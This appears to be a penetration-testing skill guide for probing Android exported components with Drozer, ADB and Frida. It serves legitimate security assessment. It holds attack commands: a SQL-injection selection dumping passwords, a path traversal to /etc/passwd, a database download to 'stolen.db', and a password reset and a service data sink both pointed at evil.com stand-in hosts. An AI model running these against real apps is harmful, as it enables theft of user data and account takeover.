Testing Android Intents For Vulnerabilities

# Testing Android Intents for Vulnerabilities

## When to Use

Use this skill when:
- Assessing Android app exported activities, services, receivers, and content providers
- Testing for intent injection and unauthorized component invocation
- Evaluating broadcast receiver security for sensitive data exposure
- Performing IPC-focused penetration testing on Android applications

**Do not use** on production devices without explicit authorization.

## Prerequisites

- Rooted Android device or emulator with ADB
- Drozer agent installed on target device (`drozer agent.apk`)
- Drozer console on host (`pip install drozer`)
- Target APK decompiled with apktool for AndroidManifest.xml analysis
- Frida for runtime intent monitoring

## Workflow

### Step 1: Enumerate Exported Components

```bash
# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app

# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported

# List exported activities
run app.activity.info -a com.target.app

# List exported services
run app.service.info -a com.target.app

# List exported receivers
run app.broadcast.info -a com.target.app

# List content providers
run app.provider.info -a com.target.app
```

### Step 2: Test Exported Activities

```bash
# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity

# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
  --extra string user_id 1337

# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
  -d "content://com.target.app/users/admin" com.target.app

# If admin activity opens without auth, report as authorization bypass
```

### Step 3: Test Broadcast Receivers

```bash
# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
  --extra string amount "0.01" --extra string recipient "attacker"

# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN

# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
  --es email "attacker@evil.com"
```

### Step 4: Test Content Providers

```bash
# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"

# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
  --selection "1=1) UNION SELECT username,password FROM users--"

# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db

# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app
```

### Step 5: Test Pending Intent Vulnerabilities

```javascript
// Monitor PendingIntent creation via Frida
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");

    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);

            // Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});
```

### Step 6: Test Service Binding

```bash
# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
  --extra string server "https://evil.com/data_sink"

run app.service.send com.target.app com.target.app.MessengerService \
  --msg 1 0 0 --extra string command "dump_database" --bundle-as-obj
```

## Key Concepts

| Term | Definition |
|------|-----------|
| **Exported Component** | Android component (activity/service/receiver/provider) accessible to other apps on the device |
| **Intent** | Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based) |
| **Pending Intent** | Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients |
| **Content Provider** | Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized |
| **Broadcast Receiver** | Component receiving system or app broadcasts; exported receivers can be triggered by any app |

## Tools & Systems

- **Drozer**: Android security assessment framework for IPC testing with pre-built modules
- **ADB**: Command-line tool for invoking intents, starting activities, and sending broadcasts
- **Frida**: Runtime monitoring of intent handling and PendingIntent creation
- **apktool**: APK decompilation for AndroidManifest.xml analysis of component export status
- **Intent Fuzzer**: Automated tool for fuzzing intent parameters across exported components

## Common Pitfalls

- **android:exported default changed in API 31**: Components with intent filters default to exported=true below API 31 but exported=false at API 31+. Check targetSdkVersion.
- **Permission-protected components**: An exported component may still require a permission. Test with and without the required permission.
- **Implicit intents vs explicit**: Only implicit intents (action-based) are interceptable by other apps. Explicit intents (specifying target) are secure.
- **Custom permissions**: Apps can define custom permissions with different protection levels (normal, dangerous, signature). Signature-level permissions are only grantable to apps signed with the same certificate.